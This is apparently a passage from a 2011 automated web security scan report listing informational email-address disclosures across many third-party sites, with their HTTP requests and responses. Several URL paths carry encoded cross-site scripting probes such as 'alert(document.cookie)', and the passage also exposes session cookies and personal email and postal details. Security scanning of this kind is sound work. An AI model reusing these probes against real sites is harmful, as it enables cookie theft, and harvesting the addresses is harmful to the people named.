Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 22:43:41 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: private
Expires: Sat, 05 Feb 2011 22:43:40 GMT
X-Powered-By: ASP.NET
Content-Length: 38292

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd" >
<html>
<head>

<meta name="generator" content="StackExchange 0.9 (20100413135304-37b86aed49a
...[SNIP]...
// a new openid
if ($(this).val() == "Log In" && $.trim($('#subheader h2').text()) == "Confirm OpenID") {

$('#subheader h2').text("Account linking problem -- contact moderators@splunk.com");

$('.page-description').html('Uh, oh. Something has gone wrong in how your splunk.com and Splunk Answers accounts are linked. '
+ 'In normal cicrumstances you should not see this page. If you\'re seeing it now, '
+ 'please contact moderators@splunk.com and include: your username, (if you know it) a link to your user profile page, and the "technical details" info below. '
+ 'We\'ll try to get the problem fixed quickly. '

...[SNIP]...
her account(s) into that one, with the splunk.com-openid-having account being the master ID used in the merge.'
);
$(this).html("Unexpected login - please contact moderators@splunk.com");
$(this).css("border-bottom", "0");
$(this).parent().css("border-bottom", "0");
}

if ($(this).val() == "Login") {

//
...[SNIP]...
<li>If something goes wrong with the process above, email moderators@splunk.com, and include the URL of your old Answers user profile if you know it</li>
...[SNIP]...
<br>Please contact moderators@splunk.com and we'll get this fixed.";
$('.page-description').html(newError);

$('#subheader h2').text("Login Error - please contact moderators@splunk.com");
$('.page-description').html('<p>
...[SNIP]...

25.3. http://appdeveloper.intel.com/sites/all/themes/intel_agate/js/ie6update.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://appdeveloper.intel.com
Path:	/sites/all/themes/intel_agate/js/ie6update.js

Issue detail

The following email address was disclosed in the response:

jakob@php.net

Request

GET /sites/all/themes/intel_agate/js/ie6update.js HTTP/1.1
Host: appdeveloper.intel.com
Proxy-Connection: keep-alive
Referer: http://appdeveloper.intel.com/en-us/join
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS5a5e2306769d28180c45e44dbead8572=5e9e534eeb2970f37ac9ef725e396b00; has_js=1

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 11182
Vary: Accept-Encoding
Cache-Control: max-age=315360000
Accept-Ranges: bytes
Age: 162642
Date: Sat, 05 Feb 2011 22:33:19 GMT
Last-Modified: Mon, 13 Dec 2010 17:28:04 GMT
Expires: Mon, 01 Feb 2021 01:22:37 GMT
Connection: keep-alive

/**
*
IE6Update.js

* IE6Update is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation;
...[SNIP]...
eral Public License
* along with Activebar2; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
* You may contact the author by mail: jakob@php.net
*
* Or write to:
* Jakob Westhoff
* Kleiner Floraweg 35
* 44229 Dortmund
* Germany
*
* The latest version of ActiveBar can be obtained from:
* http://www.westhoffswelt.de/
*
* @package Cor
...[SNIP]...

25.4. http://appdeveloper.intel.com/sites/files/js/js_7bb4b4dc8fd7fed99ab6ae62228d80b1.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://appdeveloper.intel.com
Path:	/sites/files/js/js_7bb4b4dc8fd7fed99ab6ae62228d80b1.js

Issue detail

The following email addresses were disclosed in the response:

dev.ivangc@gmail.com
jack@colorpowered.com

Request

GET /sites/files/js/js_7bb4b4dc8fd7fed99ab6ae62228d80b1.js HTTP/1.1
Host: appdeveloper.intel.com
Proxy-Connection: keep-alive
Referer: http://appdeveloper.intel.com/en-us/join
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS5a5e2306769d28180c45e44dbead8572=5e9e534eeb2970f37ac9ef725e396b00

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 172730
Vary: Accept-Encoding
Cache-Control: max-age=315360000
Accept-Ranges: bytes
Age: 162641
Date: Sat, 05 Feb 2011 22:33:18 GMT
Last-Modified: Wed, 02 Feb 2011 00:03:01 GMT
Expires: Tue, 02 Feb 2021 08:05:15 GMT
Connection: keep-alive

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date:
...[SNIP]...
ARE FREE TO USE THIS CODE IF YOU HOLD THE REFERENCE TO THE AUTHOR
* Plugin for jQuery that delimites the maximum of characteres in inputs and textareas
* @author: Iv.n Guardado Castro
* @email: dev.ivangc@gmail.com
* @website: http://yensdesign.com/
*/
jQuery.fn.maxLength = function(max){
   this.each(function(){
       //Get the type of the matched element
       var type = this.tagName.toLowerCase();
       //If the t
...[SNIP]...
onName').focus();
   $('#edit-ComponentName').focus();
});;
// ColorBox v1.3.9 - a full featured, light-weight, customizable lightbox based on jQuery 1.3
// c) 2009 Jack Moore - www.colorpowered.com - jack@colorpowered.com
// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
(function ($, window) {

   var
   // ColorBox Default Settings.
   // See http://colorpowered.com/colorbox for detail
...[SNIP]...

25.5. http://bassistance.de/jquery-plugins/jquery-plugin-validation/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bassistance.de
Path:	/jquery-plugins/jquery-plugin-validation/

Issue detail

The following email addresses were disclosed in the response:

name@apple.com
name@pears.com

Request

GET /jquery-plugins/jquery-plugin-validation/ HTTP/1.1
Host: bassistance.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:44:36 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Vary: Cookie,Accept-Encoding
X-Pingback: http://bassistance.de/xmlrpc.php
WP-Super-Cache: Served legacy cache file
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 672186

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=
...[SNIP]...
<a href="mailto:name@apple.com">name@apple.com</a> and <a href="mailto:name@pears.com">name@pears.com</a>
...[SNIP]...

25.6. http://blog.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.owneriq.com
Path:	/

Issue detail

The following email address was disclosed in the response:

info@owneriq.com

Request

GET / HTTP/1.1
Host: blog.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:45:44 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
X-Pingback: http://blog.owneriq.com/xmlrpc.php
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="mailto:info@owneriq.com">info@owneriq.com</a>
...[SNIP]...

25.7. http://blogs.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blogs.splunk.com
Path:	/

Issue detail

The following email address was disclosed in the response:

splunktalk@splunk.com

Request

GET / HTTP/1.1
Host: blogs.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.8. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/lib/en/resources.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/lib/en/resources.xml

Issue detail

The following email address was disclosed in the response:

adbox@spongecell.com

Request

GET /officedepot/r2/v4b/lib/en/resources.xml HTTP/1.1
Host: cdn.statics.live.spongecell.com
Proxy-Connection: keep-alive
Referer: http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf?placementId=&flightId=&clickthroughUrl=http%3A%2F%2Fwww.officedepot.com%2F%3Fcm_mmc%3DRetail-_-Q1ITP2011%2BOwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&actionsType=Rectangle&backupImageUrl=http%3A%2F%2Fcdn.statics.live.spongecell.com%2Fofficedepot%2Fv4b%2Fassets%2F300x250.jpg&hostBaseUrl=spongecell.com&creativeSwfUrl=..%2Fassets%2F300x250.swf&subMenuType=Pop&menuType=Grid&height=250&widgetId=263365&trackImpressions=0&width=300&linkPrefixDecoded=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3f&clickTag=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//www.officedepot.com/%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&clickTag1=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//www.officedepot.com/promo/list5.do%3Flisttype%3DAY%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&clickTag2=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//officedepot.shoplocal.com/officedepot%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&clickTag3=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
x-amz-id-2: NUkGGe6JjRVsm3zPDH69mELa3GLWA236Hu/thqs/hf8eA+5a9Mwp3W4koCLgUOh2
x-amz-request-id: DA9BE66B9EF1217A
Accept-Ranges: bytes
Content-Type: application/xml
Server: AmazonS3
Vary: Accept-Encoding
Age: 187
Date: Sat, 05 Feb 2011 22:30:53 GMT
Last-Modified: Fri, 21 Jan 2011 16:00:16 GMT
Connection: keep-alive
Content-Length: 13415

<?xml version="1.0" encoding="utf-8"?>
<resources>
<screens>
<default>
<info><eventInfo><![CDATA[<p>[event title]<br/>[event when]</p>]]></eventInfo></info>
<missingURL>http://d
...[SNIP]...
<field name="trackingMessage" recipients="adbox@spongecell.com" subject="Spongecell Form Submission - [ad id]" template="Blank"/>
...[SNIP]...

25.9. http://channelmarketing.owneriq.com/rmb-account/login-page previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://channelmarketing.owneriq.com
Path:	/rmb-account/login-page

Issue detail

The following email address was disclosed in the response:

channelmarketing@owneriq.com

Request

GET /rmb-account/login-page HTTP/1.1
Host: channelmarketing.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:51 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: PHPSESSID=kt1uph07r6rvoff2tchko0efd3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<META http-equiv="C
...[SNIP]...
<a href="mailto:channelmarketing@owneriq.com">
...[SNIP]...
<a href="mailto:channelmarketing@owneriq.com">channelmarketing@owneriq.com</a>
...[SNIP]...

25.10. http://coverall.splunk.com/themes/splunk_com/scripts/js/jquery.dimensions.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/jquery.dimensions.min.js

Issue detail

The following email addresses were disclosed in the response:

brandon.aaron@gmail.com
paul.bakaus@googlemail.com

Request

GET /themes/splunk_com/scripts/js/jquery.dimensions.min.js?11-29-2010 HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Last-Modified: Thu, 31 Jan 2008 17:47:10 GMT
ETag: "-1561780534"
Content-Type: text/javascript
Accept-Ranges: bytes
Date: Sat, 05 Feb 2011 21:49:03 GMT
Server: lighttpd/1.4.18
Content-Length: 8933

/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...

25.11. http://cryptography.org/getpgp.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cryptography.org
Path:	/getpgp.htm

Issue detail

The following email addresses were disclosed in the response:

IDEA@ascom.ch
mpj@ebible.org
pgp-public-keys@keys.de.pgp.net
pgp-public-keys@keys.no.pgp.net
pgp-public-keys@keys.pgp.net
pgp-public-keys@keys.uk.pgp.net
pgp-public-keys@keys.us.pgp.net

Request

GET /getpgp.htm HTTP/1.1
Host: cryptography.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:02 GMT
Server: Apache/2.2.6 (Fedora)
Accept-Ranges: bytes
Content-Length: 25227
Connection: close
Content-Type: text/html

<html>

<head>

<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1252">

<meta NAME="GENERATOR" CONTENT="Microsoft FrontPage 5.0">

<title>WHERE TO GET PGP (Pretty Good
...[SNIP]...
<br>
e-mail: IDEA@ascom.ch<br>
...[SNIP]...
<a HREF="mailto:pgp-public-keys@keys.pgp.net">pgp-public-keys@keys.pgp.net</a>
...[SNIP]...
<a HREF="mailto:pgp-public-keys@keys.de.pgp.net">pgp-public-keys@keys.de.pgp.net</a>
...[SNIP]...
<a HREF="mailto:pgp-public-keys@keys.no.pgp.net">pgp-public-keys@keys.no.pgp.net</a>
...[SNIP]...
<a HREF="mailto:pgp-public-keys@keys.uk.pgp.net">pgp-public-keys@keys.uk.pgp.net</a>
...[SNIP]...
<a HREF="mailto:pgp-public-keys@keys.us.pgp.net">pgp-public-keys@keys.us.pgp.net</a>
...[SNIP]...
<a HREF="mailto:mpj@ebible.org">mpj@ebible.org</a>
...[SNIP]...

25.12. http://dean.edwards.name/weblog/2006/03/base/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/base/

Issue detail

The following email addresses were disclosed in the response:

aaron.newton@cnet.com
sam@conio.net

Request

GET /weblog/2006/03/base/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:18 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Link: <http://dean.edwards.name/weblog/?p=66>; rel=shortlink
Expires: Sun, 06 Feb 2011 16:04:18 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 176038

<!doctype html>
<html>
<head>
<title>Dean Edwards: A Base Class for JavaScript Inheritance</title>
<meta name="author" content="Dean Edwards">
<link rel="styleshe
...[SNIP]...
<a href="mailto:sam@conio.net">sam@conio.net</a>, MIT-style license -Belgelendirme Aaron Newton(aaron.newton@cnet.com) and Valerio Proietti taraf..ndan yap..lm....t..r. [...]</p>
...[SNIP]...

25.13. http://demos.spongecell.com/404.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://demos.spongecell.com
Path:	/404.html

Issue detail

The following email addresses were disclosed in the response:

adops@spongecell.com
adpos@spongecell.com

Request

GET /404.html HTTP/1.1
Host: demos.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:37 GMT
Server: Apache/2.0.54
Last-Modified: Mon, 23 Nov 2009 21:09:58 GMT
ETag: "12e4558e-982-3f765580"
Accept-Ranges: bytes
Content-Length: 2434
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Spongecell | Ad List Index</title>

<script type="text/javascript" src="jquery.js"></script>
<script type="t
...[SNIP]...
<a href="mailto:adpos@spongecell.com">adops@spongecell.com</a>
...[SNIP]...

25.14. http://docs.jquery.com/Plugins/Validation previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://docs.jquery.com
Path:	/Plugins/Validation

Issue detail

The following email address was disclosed in the response:

glen@marketo.com

Request

GET /Plugins/Validation HTTP/1.1
Host: docs.jquery.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:20 GMT
Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1
X-Powered-By: PHP/5.2.3-1+lenny1
Vary: Accept-Encoding,Cookie
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Last-modified: Mon, 31 Jan 2011 21:54:34 GMT
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 54082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
       <meta http-equiv="con
...[SNIP]...
<li> Remote validation of email field. Try to enter eg. glen@marketo.com
</li>
...[SNIP]...

25.15. https://ebus.ota.org/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://ebus.ota.org
Path:	/default.aspx

Issue detail

The following email address was disclosed in the response:

OTA@aaos.org

Request

GET /default.aspx?tabid=168&appl_code=MEMBERS HTTP/1.1
Host: ebus.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.16. http://ecal.forexpros.com/common/CalendarPopup.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ecal.forexpros.com
Path:	/common/CalendarPopup.js

Issue detail

The following email address was disclosed in the response:

matt@mattkruse.com

Request

GET /common/CalendarPopup.js HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://ecal.forexpros.com/e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=4s81f460bvd2esf6cdat8iudl3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:25 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 30 Aug 2010 13:02:59 GMT
ETag: "55053e-12816-48f0a1570c6c0"
Accept-Ranges: bytes
Cache-Control: max-age=604800
Expires: Sun, 13 Feb 2011 16:26:25 GMT
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/x-javascript
Content-Length: 75798

// ===================================================================
// Author: Matt Kruse <matt@mattkruse.com>
// WWW: http://www.mattkruse.com/
//
// NOTICE: You may use this code for any purp
...[SNIP]...

25.17. http://etfdb.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://etfdb.com
Path:	/

Issue detail

The following email address was disclosed in the response:

you@you.com

Request

GET / HTTP/1.1
Host: etfdb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:04 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.9.1.3
Set-Cookie: PHPSESSID=gjvvrs2l67ha5pldm6dmbvpve3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-UA-Compatible: IE=EmulateIE7
X-Pingback: http://etfdb.com/xmlrpc.php
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35439

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head profile="http://
...[SNIP]...
<input class="ticker" style = "width: 70px;" type="text" name="email" id="newsletteremail" size="12" value = "you@you.com" onClick = "if(this.value = 'you@you.com'){this.value = '';}"/>
...[SNIP]...

25.18. http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://groups.google.com
Path:	/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d

Issue detail

The following email addresses were disclosed in the response:

1190954653.685370.24860@d55g2000hsg.googlegroups.com
1190992914.208461.92860@19g2000hsx.googlegroups.com
mal...@gmail.com
taw.molend...@gmail.com

Request

Response

25.19. http://gsgd.co.uk/sandbox/jquery/easing/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://gsgd.co.uk
Path:	/sandbox/jquery/easing/

Issue detail

The following email address was disclosed in the response:

paypal@gsgd.co.uk

Request

GET /sandbox/jquery/easing/ HTTP/1.1
Host: gsgd.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.20. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com

Request

Response

25.22. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com

Request

Response

25.24. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com

Request

Response

25.25. http://homeappliance.manualsonline.com/managemystuff.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/managemystuff.html

Issue detail

The following email addresses were disclosed in the response:

sales@owneriq.net
webmaster@manualsonline.com

Request

Response

25.26. http://internetmailmanager.com/s/svrg.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://internetmailmanager.com
Path:	/s/svrg.asp

Issue detail

The following email address was disclosed in the response:

support@303media.com

Request

GET /s/svrg.asp HTTP/1.1
Host: internetmailmanager.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.27. http://javascript.crockford.com/jsmin.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://javascript.crockford.com
Path:	/jsmin.html

Issue detail

The following email address was disclosed in the response:

douglas@crockford.com

Request

GET /jsmin.html HTTP/1.1
Host: javascript.crockford.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:08 GMT
Server: Apache
Last-Modified: Sat, 02 Oct 2010 17:38:21 GMT
ETag: "10000107-17ad-4ca76e0d"
Accept-Ranges: bytes
Content-Length: 6061
